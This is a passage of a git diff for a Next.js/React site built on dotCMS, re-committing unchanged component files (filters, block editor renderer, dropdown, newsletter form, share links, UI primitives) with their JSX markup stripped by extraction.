- useEffect(() => {
- const handleClickOutside = (event) => {
- if (dropdownRef.current && !dropdownRef.current.contains(event.target)) {
- setShowMore(false);
- }
- };
-
- document.addEventListener('mousedown', handleClickOutside);
- return () => {
- document.removeEventListener('mousedown', handleClickOutside);
- };
- }, [dropdownRef]);
-
- // Function to set the category filter
- const setCategory = (value) => {
- setFilter((prev) => ({
- ...prev,
- category: {
- value,
- field
- }
- }));
- setActive(value);
- };
-
- return (
- <>
- {mainCategories.map(({ key, categoryName }) => (
- setCategory(key)}>
- {categoryName}
-
- ))}
- {!!moreCategories.length && (
-
-
setShowMore((prev) => !prev)}>
- More
-
-
- {moreCategories.map(({ key, categoryName }) => (
- setCategory(key)}>
- {categoryName}
-
- ))}
-
-
- )}
- >
- );
-};
+'use client';
+
+import { useEffect, useRef, useCallback, useState } from 'react';
+// import Image from 'next/image';
+import useCollection from '@/hooks/useCollection';
+
+import { ArrowDownIcon, SearchIcon } from './icons';
+import ListingContentlets from './listingContentlets';
+import CategoryButton from './categoryButton';
+
+export default function ContentletFilter({
+ Card,
+ limit = 9,
+ contentType,
+ queryConfig,
+ categories = [],
+ initialCollection
+}) {
+ const { collection, setFilter, setPage, setSearch } = useCollection({
+ limit,
+ search: '',
+ contentType,
+ queryConfig,
+ initialCollection
+ });
+
+ const loaderRef = useRef(null);
+
+ const handleObserver = useCallback(
+ (entries) => {
+ const target = entries[0];
+ if (target.isIntersecting && collection.total > collection.contentlets.length) {
+ setPage((prevPage) => prevPage + 1);
+ }
+ },
+ [collection.contentlets.length, collection.total, setPage]
+ );
+
+ useEffect(() => {
+ const option = {
+ root: null,
+ rootMargin: '20px',
+ threshold: 0.1
+ };
+ const observer = new IntersectionObserver(handleObserver, option);
+ const currentLoaderRef = loaderRef.current;
+ if (currentLoaderRef) observer.observe(currentLoaderRef);
+
+ return () => {
+ if (currentLoaderRef) observer.unobserve(currentLoaderRef);
+ };
+ }, [handleObserver]);
+
+ return (
+ <>
+
+
+
+
+
+
+
+
+
setSearch(e.target.value)}
+ className="block size-full rounded-lg bg-blue-100 p-3 ps-11 text-sm text-blue-600 outline-none placeholder:text-blue-600"
+ placeholder="Search in Insights"
+ />
+
+
+
+
+
+ {collection.total > collection.contentlets.length && (
+
+
+ {collection.total > collection.contentlets.length && (
+ Loading more...
+ )}
+
+ {/*
setPage((prevPage) => prevPage + 1)}>
+ Load More
+
+ */}
+
+ )}
+ >
+ );
+}
+
+const CategoriesButtons = ({ categories, setFilter }) => {
+ const [active, setActive] = useState('*');
+ // Destructure the categories
+ const { list = [], field } = categories;
+ const allCategory = { key: '*', categoryName: 'All' };
+
+ // Split the categories into main and more
+ const mainCategories = [allCategory, ...list.slice(0, 3)];
+ const moreCategories = list.slice(3);
+
+ // Hook to manage the dropdown visibility
+ const [showMore, setShowMore] = useState(false);
+ const dropdownRef = useRef(null);
+
+ useEffect(() => {
+ const handleClickOutside = (event) => {
+ if (dropdownRef.current && !dropdownRef.current.contains(event.target)) {
+ setShowMore(false);
+ }
+ };
+
+ document.addEventListener('mousedown', handleClickOutside);
+ return () => {
+ document.removeEventListener('mousedown', handleClickOutside);
+ };
+ }, [dropdownRef]);
+
+ // Function to set the category filter
+ const setCategory = (value) => {
+ setFilter((prev) => ({
+ ...prev,
+ category: {
+ value,
+ field
+ }
+ }));
+ setActive(value);
+ };
+
+ return (
+ <>
+ {mainCategories.map(({ key, categoryName }) => (
+ setCategory(key)}>
+ {categoryName}
+
+ ))}
+ {!!moreCategories.length && (
+
+
setShowMore((prev) => !prev)}>
+ More
+
+
+ {moreCategories.map(({ key, categoryName }) => (
+ setCategory(key)}>
+ {categoryName}
+
+ ))}
+
+
+ )}
+ >
+ );
+};
diff --git a/components/shared/dotBlockEditor.js b/components/shared/dotBlockEditor.js
index 195f148..63d0deb 100644
--- a/components/shared/dotBlockEditor.js
+++ b/components/shared/dotBlockEditor.js
@@ -1,194 +1,194 @@
-import Link from "next/link";
-
-import { decode } from "html-entities";
-import { DotCMSBlockEditorRenderer } from "@dotcms/react";
-import LinkCards from "../content-types/link-cards";
-import YoutubeComponent from "./Youtube";
-
-/**
- * Renders the text in bold.
- *
- * @param children - The content to be rendered in bold.
- */
-const Bold = ({ children }) => {children} ;
-
-/**
- * Renders the text in italic format.
- *
- * @param children - The content to be rendered in italic.
- */
-const Italic = ({ children }) => {children} ;
-
-/**
- * Renders a strike-through text.
- *
- * @param children - The content to be rendered within the strike-through element.
- */
-const Strike = ({ children }) => {children} ;
-
-/**
- * Renders an underline element for the given children.
- *
- * @param children - The content to be underlined.
- */
-const Underline = ({ children }) => {children} ;
-
-/**
- * Renders a link component.
- *
- * @param children - The content of the link.
- * @param attrs - The attributes to be applied to the link.
- * @returns The rendered link component.
- */
-const LinkMark = ({ children, attrs }) => {
- const { href } = attrs;
- const relative = href.startsWith("/") || href.startsWith("..");
-
- if (relative) {
- // If the URL fails it is likely a relative URL
- return (
-
- {children}
-
- );
- }
-
- return (
-
- {children}
-
- );
-};
-
-/**
- * Renders the superscript text.
- *
- * @param children - The content to be rendered as superscript.
- */
-const Superscript = ({ children }) => {children} ;
-
-/**
- * Renders a subscript element.
- *
- * @param children - The content to be rendered as subscript.
- */
-const Subscript = ({ children }) => {children} ;
-
-/**
- * Renders inline code with monospace font and appropriate styling.
- * Uses visual styling rather than backticks to indicate code.
- *
- * @param children - The content to be rendered as inline code.
- */
-const InlineCode = ({ children }) => (
-
- {children}
-
-);
-
-const nodeMarks = {
- link: LinkMark,
- bold: Bold,
- underline: Underline,
- italic: Italic,
- strike: Strike,
- superscript: Superscript,
- subscript: Subscript,
- code: InlineCode,
-};
-
-/**
- * Renders a text block with optional marks.
- *
- * @param props - The props for the TextBlock component.
- * @returns The rendered text block.
- */
-const TextBlock = (props) => {
- const { marks = [], text } = props;
- const mark = marks[0] || { type: "", attrs: {} };
- const newProps = { ...props, marks: marks.slice(1) };
- const Component = nodeMarks[mark?.type];
-
- // To avoid the warning: "Warning: Invalid DOM property `class`. Did you mean `className`?"
- if (mark.attrs) {
- mark.attrs.className = mark.attrs.class;
- delete mark.attrs.class;
- }
-
- if (!Component) {
- return text;
- }
-
- return (
-
-
-
- );
-};
-
-export const DecodeHTML = (props) => {
- // Handle both old format (text prop) and new format (node prop from CustomRendererProps)
- const text = props.text || props.node?.text || '';
- const marks = props.marks || props.node?.marks || [];
-
- return ;
-};
-export const VidContent = (props) => {
- // Handle both old format (props.attrs) and new format (props.node.attrs from CustomRendererProps)
- const attrs = props.attrs || props.node?.attrs || {};
- const tags = attrs?.data?.tags?.split(",") || attrs?.tags?.split(",") || [];
- const src = attrs.src;
- const title = attrs.title;
- const width = attrs.width;
- const height = attrs.height;
- const identifier = attrs.data?.identifier;
- const controls = !tags.includes("nocontrols");
- const autoPlay = tags.includes("autoplay");
- const loop = tags.includes("loop");
- const muted = tags.includes("muted");
- return
-
- {src && (
-
- )}
- Your browser does not support the video tag.
- ;
-};
-
-const defaultRenderers = {
- DocumentationLinks: LinkCards,
-};
-
-export const DotBlockEditor = ({ customRenderers, ...props }) => {
-
- const mergedCustomRenderers = {
- ...defaultRenderers,
- ...customRenderers
- };
-
- return (
-
- );
-};
+import Link from "next/link";
+
+import { decode } from "html-entities";
+import { DotCMSBlockEditorRenderer } from "@dotcms/react";
+import LinkCards from "../content-types/link-cards";
+import YoutubeComponent from "./Youtube";
+
+/**
+ * Renders the text in bold.
+ *
+ * @param children - The content to be rendered in bold.
+ */
+const Bold = ({ children }) => {children} ;
+
+/**
+ * Renders the text in italic format.
+ *
+ * @param children - The content to be rendered in italic.
+ */
+const Italic = ({ children }) => {children} ;
+
+/**
+ * Renders a strike-through text.
+ *
+ * @param children - The content to be rendered within the strike-through element.
+ */
+const Strike = ({ children }) => {children} ;
+
+/**
+ * Renders an underline element for the given children.
+ *
+ * @param children - The content to be underlined.
+ */
+const Underline = ({ children }) => {children} ;
+
+/**
+ * Renders a link component.
+ *
+ * @param children - The content of the link.
+ * @param attrs - The attributes to be applied to the link.
+ * @returns The rendered link component.
+ */
+const LinkMark = ({ children, attrs }) => {
+ const { href } = attrs;
+ const relative = href.startsWith("/") || href.startsWith("..");
+
+ if (relative) {
+ // If the URL fails it is likely a relative URL
+ return (
+
+ {children}
+
+ );
+ }
+
+ return (
+
+ {children}
+
+ );
+};
+
+/**
+ * Renders the superscript text.
+ *
+ * @param children - The content to be rendered as superscript.
+ */
+const Superscript = ({ children }) => {children} ;
+
+/**
+ * Renders a subscript element.
+ *
+ * @param children - The content to be rendered as subscript.
+ */
+const Subscript = ({ children }) => {children} ;
+
+/**
+ * Renders inline code with monospace font and appropriate styling.
+ * Uses visual styling rather than backticks to indicate code.
+ *
+ * @param children - The content to be rendered as inline code.
+ */
+const InlineCode = ({ children }) => (
+
+ {children}
+
+);
+
+const nodeMarks = {
+ link: LinkMark,
+ bold: Bold,
+ underline: Underline,
+ italic: Italic,
+ strike: Strike,
+ superscript: Superscript,
+ subscript: Subscript,
+ code: InlineCode,
+};
+
+/**
+ * Renders a text block with optional marks.
+ *
+ * @param props - The props for the TextBlock component.
+ * @returns The rendered text block.
+ */
+const TextBlock = (props) => {
+ const { marks = [], text } = props;
+ const mark = marks[0] || { type: "", attrs: {} };
+ const newProps = { ...props, marks: marks.slice(1) };
+ const Component = nodeMarks[mark?.type];
+
+ // To avoid the warning: "Warning: Invalid DOM property `class`. Did you mean `className`?"
+ if (mark.attrs) {
+ mark.attrs.className = mark.attrs.class;
+ delete mark.attrs.class;
+ }
+
+ if (!Component) {
+ return text;
+ }
+
+ return (
+
+
+
+ );
+};
+
+export const DecodeHTML = (props) => {
+ // Handle both old format (text prop) and new format (node prop from CustomRendererProps)
+ const text = props.text || props.node?.text || '';
+ const marks = props.marks || props.node?.marks || [];
+
+ return ;
+};
+export const VidContent = (props) => {
+ // Handle both old format (props.attrs) and new format (props.node.attrs from CustomRendererProps)
+ const attrs = props.attrs || props.node?.attrs || {};
+ const tags = attrs?.data?.tags?.split(",") || attrs?.tags?.split(",") || [];
+ const src = attrs.src;
+ const title = attrs.title;
+ const width = attrs.width;
+ const height = attrs.height;
+ const identifier = attrs.data?.identifier;
+ const controls = !tags.includes("nocontrols");
+ const autoPlay = tags.includes("autoplay");
+ const loop = tags.includes("loop");
+ const muted = tags.includes("muted");
+ return
+
+ {src && (
+
+ )}
+ Your browser does not support the video tag.
+ ;
+};
+
+const defaultRenderers = {
+ DocumentationLinks: LinkCards,
+};
+
+export const DotBlockEditor = ({ customRenderers, ...props }) => {
+
+ const mergedCustomRenderers = {
+ ...defaultRenderers,
+ ...customRenderers
+ };
+
+ return (
+
+ );
+};
diff --git a/components/shared/dotCardImage.js b/components/shared/dotCardImage.js
index a4a21a0..a128002 100644
--- a/components/shared/dotCardImage.js
+++ b/components/shared/dotCardImage.js
@@ -1,41 +1,41 @@
-import Image from 'next/image';
-
-/**
- * dotCMS Image for card component
- * If there is no image, it will show a placeholder
- *
- * @param {*} { src, alt, placeholderFontSize}
- * @return {*}
- */
-export const DotCardImage = ({ src, alt, placeholderFontSize }) => {
- return (
- <>
- {src ? (
-
- ) : (
-
- )}
- >
- );
-};
-
-/**
- *
- *
- * @param {*} { placeholderFontSize }
- * @return {*}
- */
-export const ImagePlacerholder = ({ placeholderFontSize = '' }) => {
- return (
-
-
- dotCMS
-
-
- );
-};
+import Image from 'next/image';
+
+/**
+ * dotCMS Image for card component
+ * If there is no image, it will show a placeholder
+ *
+ * @param {*} { src, alt, placeholderFontSize}
+ * @return {*}
+ */
+export const DotCardImage = ({ src, alt, placeholderFontSize }) => {
+ return (
+ <>
+ {src ? (
+
+ ) : (
+
+ )}
+ >
+ );
+};
+
+/**
+ *
+ *
+ * @param {*} { placeholderFontSize }
+ * @return {*}
+ */
+export const ImagePlacerholder = ({ placeholderFontSize = '' }) => {
+ return (
+
+
+ dotCMS
+
+
+ );
+};
diff --git a/components/shared/dropdown.js b/components/shared/dropdown.js
index 465532d..b37c5c7 100644
--- a/components/shared/dropdown.js
+++ b/components/shared/dropdown.js
@@ -1,76 +1,76 @@
-"use client";
-
-import { useState, useRef, useEffect } from "react";
-import { ChevronDown } from "lucide-react";
-
-/**
- * Dropdown component that allows users to select an item from a list.
- *
- * @component
- * @param {Object} props - The properties object.
- * @param {Array} props.items - The list of items to display in the dropdown.
- * @param {string} props.label - The label to display when no item is selected.
- * @param {function} props.onSelect - The callback function to call when an item is selected.
- * @param {boolean} props.includeAll - If true, start dropdown with 'All' option.
- *
- * @returns {JSX.Element} The rendered dropdown component.
- */
-export default function Dropdown({ items, label, onSelect, includeAll=false }) {
- const [isOpen, setIsOpen] = useState(false);
- const [selectedItem, setSelectedItem] = useState(null);
- const dropdownRef = useRef(null);
-
- useEffect(() => {
- const handleClickOutside = (event) => {
- if (dropdownRef.current && !dropdownRef.current.contains(event.target)) {
- setIsOpen(false);
- }
- };
-
- document.addEventListener("mousedown", handleClickOutside);
- return () => document.removeEventListener("mousedown", handleClickOutside);
- }, []);
-
- const toggleDropdown = () => setIsOpen(!isOpen);
-
- const handleSelect = (item) => {
- // If the selected item is 'All', set it to null to "remove" the filter in query
- const selected = item === 'All' ? null : item;
-
- onSelect(selected);
- setSelectedItem(selected);
- setIsOpen(false);
- };
-
- return (
-
-
- {selectedItem ? selectedItem : label}
-
-
-
- {isOpen && (
-
-
-
- {(includeAll ? ['All', ...items] : [...items]).map((item) => (
- handleSelect(item)}
- className="block w-full text-left px-4 py-2 text-sm
- hover:bg-accent hover:text-accent-foreground
- transition-colors">
- {item}
-
- ))}
-
-
-
- )}
-
- );
-}
+"use client";
+
+import { useState, useRef, useEffect } from "react";
+import { ChevronDown } from "lucide-react";
+
+/**
+ * Dropdown component that allows users to select an item from a list.
+ *
+ * @component
+ * @param {Object} props - The properties object.
+ * @param {Array} props.items - The list of items to display in the dropdown.
+ * @param {string} props.label - The label to display when no item is selected.
+ * @param {function} props.onSelect - The callback function to call when an item is selected.
+ * @param {boolean} props.includeAll - If true, start dropdown with 'All' option.
+ *
+ * @returns {JSX.Element} The rendered dropdown component.
+ */
+export default function Dropdown({ items, label, onSelect, includeAll=false }) {
+ const [isOpen, setIsOpen] = useState(false);
+ const [selectedItem, setSelectedItem] = useState(null);
+ const dropdownRef = useRef(null);
+
+ useEffect(() => {
+ const handleClickOutside = (event) => {
+ if (dropdownRef.current && !dropdownRef.current.contains(event.target)) {
+ setIsOpen(false);
+ }
+ };
+
+ document.addEventListener("mousedown", handleClickOutside);
+ return () => document.removeEventListener("mousedown", handleClickOutside);
+ }, []);
+
+ const toggleDropdown = () => setIsOpen(!isOpen);
+
+ const handleSelect = (item) => {
+ // If the selected item is 'All', set it to null to "remove" the filter in query
+ const selected = item === 'All' ? null : item;
+
+ onSelect(selected);
+ setSelectedItem(selected);
+ setIsOpen(false);
+ };
+
+ return (
+
+
+ {selectedItem ? selectedItem : label}
+
+
+
+ {isOpen && (
+
+
+
+ {(includeAll ? ['All', ...items] : [...items]).map((item) => (
+ handleSelect(item)}
+ className="block w-full text-left px-4 py-2 text-sm
+ hover:bg-accent hover:text-accent-foreground
+ transition-colors">
+ {item}
+
+ ))}
+
+
+
+ )}
+
+ );
+}
diff --git a/components/shared/icons.js b/components/shared/icons.js
index 7f11758..5e8dc38 100644
--- a/components/shared/icons.js
+++ b/components/shared/icons.js
@@ -1,78 +1,78 @@
-/**
- * Search Icon Component
- *
- * @return {*}
- */
-export const SearchIcon = () => {
- return (
-
-
-
-
-
-
- );
-};
-
-/**
- * Quote Icon Component
- *
- * @return {*}
- */
-export const QuoteIcon = () => {
- return (
-
-
-
- );
-};
-
-/**
- * Arrow Down Icon Component
- *
- * @return {*}
- */
-export const ArrowDownIcon = () => {
- return (
-
-
-
- );
-};
+/**
+ * Search Icon Component
+ *
+ * @return {*}
+ */
+export const SearchIcon = () => {
+ return (
+
+
+
+
+
+
+ );
+};
+
+/**
+ * Quote Icon Component
+ *
+ * @return {*}
+ */
+export const QuoteIcon = () => {
+ return (
+
+
+
+ );
+};
+
+/**
+ * Arrow Down Icon Component
+ *
+ * @return {*}
+ */
+export const ArrowDownIcon = () => {
+ return (
+
+
+
+ );
+};
diff --git a/components/shared/listingContentlets.js b/components/shared/listingContentlets.js
index 31827d1..5f2b516 100644
--- a/components/shared/listingContentlets.js
+++ b/components/shared/listingContentlets.js
@@ -1,18 +1,18 @@
-import React from 'react';
-
-function ListingContentlets({ Card, contentlets = [] }) {
- return (
- // TODO: Fix the grid classes
-
- {contentlets.map((contentlet, i) => (
-
-
-
- ))}
-
- );
-}
-
-export default ListingContentlets;
+import React from 'react';
+
+function ListingContentlets({ Card, contentlets = [] }) {
+ return (
+ // TODO: Fix the grid classes
+
+ {contentlets.map((contentlet, i) => (
+
+
+
+ ))}
+
+ );
+}
+
+export default ListingContentlets;
diff --git a/components/shared/newsletter-form/NewsletterForm.js b/components/shared/newsletter-form/NewsletterForm.js
index fa8c9b9..90480bc 100644
--- a/components/shared/newsletter-form/NewsletterForm.js
+++ b/components/shared/newsletter-form/NewsletterForm.js
@@ -1,146 +1,146 @@
-import { useState } from 'react';
-import { useRouter } from 'next/navigation';
-
-import { cn } from '@/app/utils/cn';
-
-import { IconCircleChevronRight } from '@tabler/icons-react';
-import { Toast } from '../toast';
-
-const ERRORS_MESSAGES = {
- name: 'Name is required.',
- email: 'A valid email is required.'
-};
-
-export const NewsletterForm = () => {
- const router = useRouter();
-
- const [formData, setFormData] = useState({ name: '', email: '' });
- const [errors, setErrors] = useState({ name: '', email: '' });
- const [showErrorToast, setShowErrorToast] = useState(false);
- const [pending, setPending] = useState(false);
-
- const handleChange = ({ target }) => {
- const { name, value } = target;
- setFormData((prev) => ({ ...prev, [name]: value }));
- setErrors((prev) => ({ ...prev, [name]: '' }));
- };
-
- const handleBlur = ({ target }) => {
- if (target.checkValidity()) {
- return;
- }
-
- const { name } = target;
- setErrors((prev) => ({ ...prev, [name]: ERRORS_MESSAGES[name] }));
- };
-
- const handleSubmit = async (e) => {
- e.preventDefault();
- if (!e.target.checkValidity()) {
- return;
- }
-
- setPending(true);
- const data = {
- fields: [
- { name: 'firstname', value: formData.name },
- { name: 'email', value: formData.email }
- ]
- };
-
- try {
- const response = await fetch('/api/newsletter', {
- method: 'POST',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify(data)
- });
-
- if (!response.ok) {
- throw new Error('Submission failed');
- }
-
- const { redirectUri } = await response.json();
- const { pathname } = new URL(redirectUri);
-
- router.push(pathname);
- } catch (error) {
- setShowErrorToast(true);
- } finally {
- setPending(false);
- }
- };
-
- return (
-
-
-
- Join Over 10,000 Subscribers
-
-
Get the latest blogs, webinars, and white papers.
-
-
-
-
setShowErrorToast(false)}
- />
-
- );
-};
-
-const Input = ({ name, type, placeholder, errorMessage, value, onChange, onBlur }) => {
- const twClasses = cn('px-2 w-full rounded-lg h-[3.75rem] text-blue-700 border');
-
- return (
-
-
- {errorMessage && (
-
- {errorMessage}
-
- )}
-
- );
-};
+import { useState } from 'react';
+import { useRouter } from 'next/navigation';
+
+import { cn } from '@/app/utils/cn';
+
+import { IconCircleChevronRight } from '@tabler/icons-react';
+import { Toast } from '../toast';
+
+const ERRORS_MESSAGES = {
+ name: 'Name is required.',
+ email: 'A valid email is required.'
+};
+
+export const NewsletterForm = () => {
+ const router = useRouter();
+
+ const [formData, setFormData] = useState({ name: '', email: '' });
+ const [errors, setErrors] = useState({ name: '', email: '' });
+ const [showErrorToast, setShowErrorToast] = useState(false);
+ const [pending, setPending] = useState(false);
+
+ const handleChange = ({ target }) => {
+ const { name, value } = target;
+ setFormData((prev) => ({ ...prev, [name]: value }));
+ setErrors((prev) => ({ ...prev, [name]: '' }));
+ };
+
+ const handleBlur = ({ target }) => {
+ if (target.checkValidity()) {
+ return;
+ }
+
+ const { name } = target;
+ setErrors((prev) => ({ ...prev, [name]: ERRORS_MESSAGES[name] }));
+ };
+
+ const handleSubmit = async (e) => {
+ e.preventDefault();
+ if (!e.target.checkValidity()) {
+ return;
+ }
+
+ setPending(true);
+ const data = {
+ fields: [
+ { name: 'firstname', value: formData.name },
+ { name: 'email', value: formData.email }
+ ]
+ };
+
+ try {
+ const response = await fetch('/api/newsletter', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(data)
+ });
+
+ if (!response.ok) {
+ throw new Error('Submission failed');
+ }
+
+ const { redirectUri } = await response.json();
+ const { pathname } = new URL(redirectUri);
+
+ router.push(pathname);
+ } catch (error) {
+ setShowErrorToast(true);
+ } finally {
+ setPending(false);
+ }
+ };
+
+ return (
+
+
+
+ Join Over 10,000 Subscribers
+
+
Get the latest blogs, webinars, and white papers.
+
+
+
+
setShowErrorToast(false)}
+ />
+
+ );
+};
+
+const Input = ({ name, type, placeholder, errorMessage, value, onChange, onBlur }) => {
+ const twClasses = cn('px-2 w-full rounded-lg h-[3.75rem] text-blue-700 border');
+
+ return (
+
+
+ {errorMessage && (
+
+ {errorMessage}
+
+ )}
+
+ );
+};
diff --git a/components/shared/partnersCard.js b/components/shared/partnersCard.js
index f52c617..0274a16 100644
--- a/components/shared/partnersCard.js
+++ b/components/shared/partnersCard.js
@@ -1,32 +1,32 @@
-import Image from 'next/image';
-import Link from 'next/link';
-
-export const PartnerCard = ({ contentlet }) => {
- return (
-
-
- {/* Commented for now. Pending marketing team approval */}
- {/* {contentlet.partnerLevel && (
-
-
- {contentlet.partnerLevel}
-
-
)} */}
-
- );
-};
+import Image from 'next/image';
+import Link from 'next/link';
+
+export const PartnerCard = ({ contentlet }) => {
+ return (
+
+
+ {/* Commented for now. Pending marketing team approval */}
+ {/* {contentlet.partnerLevel && (
+
+
+ {contentlet.partnerLevel}
+
+
)} */}
+
+ );
+};
diff --git a/components/shared/socialMediaShare.js b/components/shared/socialMediaShare.js
index c9a3675..a79f224 100644
--- a/components/shared/socialMediaShare.js
+++ b/components/shared/socialMediaShare.js
@@ -1,46 +1,46 @@
-import React from 'react';
-import Image from 'next/image';
-
-function SocialMediaShare({ url }) {
- const encodedURL = encodeURI(url);
-
- const socialMediaArray = [
- {
- socialMedia: 'x',
- url: 'https://twitter.com/intent/tweet?text=' + encodedURL
- },
- {
- socialMedia: 'linkedin',
- url: 'https://www.linkedin.com/sharing/share-offsite/?url=' + encodedURL
- },
- {
- socialMedia: 'facebook',
- url: 'https://www.facebook.com/sharer/sharer.php?u=' + encodedURL
- }
- ];
-
- return (
-
- {socialMediaArray.map(({ socialMedia, url }) => (
-
-
-
-
- ))}
-
- );
-}
-
-export default SocialMediaShare;
+import React from 'react';
+import Image from 'next/image';
+
+function SocialMediaShare({ url }) {
+ const encodedURL = encodeURI(url);
+
+ const socialMediaArray = [
+ {
+ socialMedia: 'x',
+ url: 'https://twitter.com/intent/tweet?text=' + encodedURL
+ },
+ {
+ socialMedia: 'linkedin',
+ url: 'https://www.linkedin.com/sharing/share-offsite/?url=' + encodedURL
+ },
+ {
+ socialMedia: 'facebook',
+ url: 'https://www.facebook.com/sharer/sharer.php?u=' + encodedURL
+ }
+ ];
+
+ return (
+
+ {socialMediaArray.map(({ socialMedia, url }) => (
+
+
+
+
+ ))}
+
+ );
+}
+
+export default SocialMediaShare;
diff --git a/components/shared/tag.js b/components/shared/tag.js
index c7b9613..628ff32 100644
--- a/components/shared/tag.js
+++ b/components/shared/tag.js
@@ -1,26 +1,26 @@
-import React from 'react';
-import Link from 'next/link';
-import { cn } from "@/util/utils";
-
-function Tag({
- fontColor = 'text-primary',
- bgColor = 'bg-muted',
- children,
- hrefMode,
- text,
- className
-}) {
- const baseStyle = "flex w-fit items-center justify-center rounded-full transition-colors hover:bg-muted/80";
- const style = cn(baseStyle, fontColor, bgColor, className);
- const TagContent = {children}
;
-
- return hrefMode ? (
-
- {TagContent}
-
- ) : (
- TagContent
- );
-}
-
-export default Tag;
+import React from 'react';
+import Link from 'next/link';
+import { cn } from "@/util/utils";
+
+function Tag({
+ fontColor = 'text-primary',
+ bgColor = 'bg-muted',
+ children,
+ hrefMode,
+ text,
+ className
+}) {
+ const baseStyle = "flex w-fit items-center justify-center rounded-full transition-colors hover:bg-muted/80";
+ const style = cn(baseStyle, fontColor, bgColor, className);
+ const TagContent = {children}
;
+
+ return hrefMode ? (
+
+ {TagContent}
+
+ ) : (
+ TagContent
+ );
+}
+
+export default Tag;
diff --git a/components/shared/toast.js b/components/shared/toast.js
index 1c5c84a..04fada3 100644
--- a/components/shared/toast.js
+++ b/components/shared/toast.js
@@ -1,42 +1,42 @@
-import { useEffect } from 'react';
-
-export const Toast = ({ title, description, show, handleClose, className }) => {
- useEffect(() => {
- if (!show) {
- return;
- }
-
- setTimeout(() => handleClose(), 2500);
- }, [show, handleClose]);
-
- return (
-
-
-
{title}
- {description &&
{description}
}
-
-
- Close
-
-
-
-
-
- );
-};
+import { useEffect } from 'react';
+
+export const Toast = ({ title, description, show, handleClose, className }) => {
+ useEffect(() => {
+ if (!show) {
+ return;
+ }
+
+ setTimeout(() => handleClose(), 2500);
+ }, [show, handleClose]);
+
+ return (
+
+
+
{title}
+ {description &&
{description}
}
+
+
+ Close
+
+
+
+
+
+ );
+};
diff --git a/components/ui/calendar.tsx b/components/ui/calendar.tsx
index 4b1e2b1..103bf10 100644
--- a/components/ui/calendar.tsx
+++ b/components/ui/calendar.tsx
@@ -1,66 +1,66 @@
-'use client';
-
-import * as React from 'react';
-import { ChevronLeft, ChevronRight } from 'lucide-react';
-import { DayPicker } from 'react-day-picker';
-
-import { cn } from '@/util/utils';
-import { buttonVariants } from '@/components/ui/button';
-
-export type CalendarProps = React.ComponentProps;
-
-function Calendar({
- className,
- classNames,
- showOutsideDays = true,
- ...props
-}: CalendarProps) {
- return (
- ,
- IconRight: ({ ...props }) => ,
- }}
- {...props}
- />
- );
-}
-Calendar.displayName = 'Calendar';
-
-export { Calendar };
+'use client';
+
+import * as React from 'react';
+import { ChevronLeft, ChevronRight } from 'lucide-react';
+import { DayPicker } from 'react-day-picker';
+
+import { cn } from '@/util/utils';
+import { buttonVariants } from '@/components/ui/button';
+
+export type CalendarProps = React.ComponentProps;
+
+function Calendar({
+ className,
+ classNames,
+ showOutsideDays = true,
+ ...props
+}: CalendarProps) {
+ return (
+ ,
+ IconRight: ({ ...props }) => ,
+ }}
+ {...props}
+ />
+ );
+}
+Calendar.displayName = 'Calendar';
+
+export { Calendar };
diff --git a/components/ui/navigation-menu.tsx b/components/ui/navigation-menu.tsx
index 4c6ddf2..80a15aa 100644
--- a/components/ui/navigation-menu.tsx
+++ b/components/ui/navigation-menu.tsx
@@ -1,128 +1,128 @@
-import * as React from 'react';
-import * as NavigationMenuPrimitive from '@radix-ui/react-navigation-menu';
-import { cva } from 'class-variance-authority';
-import { ChevronDown } from 'lucide-react';
-
-import { cn } from '@/util/utils';
-
-const NavigationMenu = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, children, ...props }, ref) => (
-
- {children}
-
-
-));
-NavigationMenu.displayName = NavigationMenuPrimitive.Root.displayName;
-
-const NavigationMenuList = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, ...props }, ref) => (
-
-));
-NavigationMenuList.displayName = NavigationMenuPrimitive.List.displayName;
-
-const NavigationMenuItem = NavigationMenuPrimitive.Item;
-
-const navigationMenuTriggerStyle = cva(
- 'group inline-flex h-10 w-max items-center justify-center rounded-md bg-background px-4 py-2 text-sm font-medium transition-colors hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground focus:outline-none disabled:pointer-events-none disabled:opacity-50 data-[active]:bg-accent/50 data-[state=open]:bg-accent/50'
-);
-
-const NavigationMenuTrigger = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, children, ...props }, ref) => (
-
- {children}{' '}
-
-
-));
-NavigationMenuTrigger.displayName = NavigationMenuPrimitive.Trigger.displayName;
-
-const NavigationMenuContent = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, ...props }, ref) => (
-
-));
-NavigationMenuContent.displayName = NavigationMenuPrimitive.Content.displayName;
-
-const NavigationMenuLink = NavigationMenuPrimitive.Link;
-
-const NavigationMenuViewport = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, ...props }, ref) => (
-
-
-
-));
-NavigationMenuViewport.displayName =
- NavigationMenuPrimitive.Viewport.displayName;
-
-const NavigationMenuIndicator = React.forwardRef<
- React.ElementRef,
- React.ComponentPropsWithoutRef
->(({ className, ...props }, ref) => (
-
-
-
-));
-NavigationMenuIndicator.displayName =
- NavigationMenuPrimitive.Indicator.displayName;
-
-export {
- navigationMenuTriggerStyle,
- NavigationMenu,
- NavigationMenuList,
- NavigationMenuItem,
- NavigationMenuContent,
- NavigationMenuTrigger,
- NavigationMenuLink,
- NavigationMenuIndicator,
- NavigationMenuViewport,
-};
+import * as React from 'react';
+import * as NavigationMenuPrimitive from '@radix-ui/react-navigation-menu';
+import { cva } from 'class-variance-authority';
+import { ChevronDown } from 'lucide-react';
+
+import { cn } from '@/util/utils';
+
+const NavigationMenu = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, children, ...props }, ref) => (
+
+ {children}
+
+
+));
+NavigationMenu.displayName = NavigationMenuPrimitive.Root.displayName;
+
+const NavigationMenuList = React.forwardRef<
+ React.ElementRef,
+ React.ComponentPropsWithoutRef
+>(({ className, ...props }, ref) => (
+
+));
+NavigationMenuList.displayName = NavigationMenuPrimitive.List.displayName;
+
+const NavigationMenuItem = NavigationMenuPrimitive.Item;
+
+const navigationMenuTriggerStyle = cva(
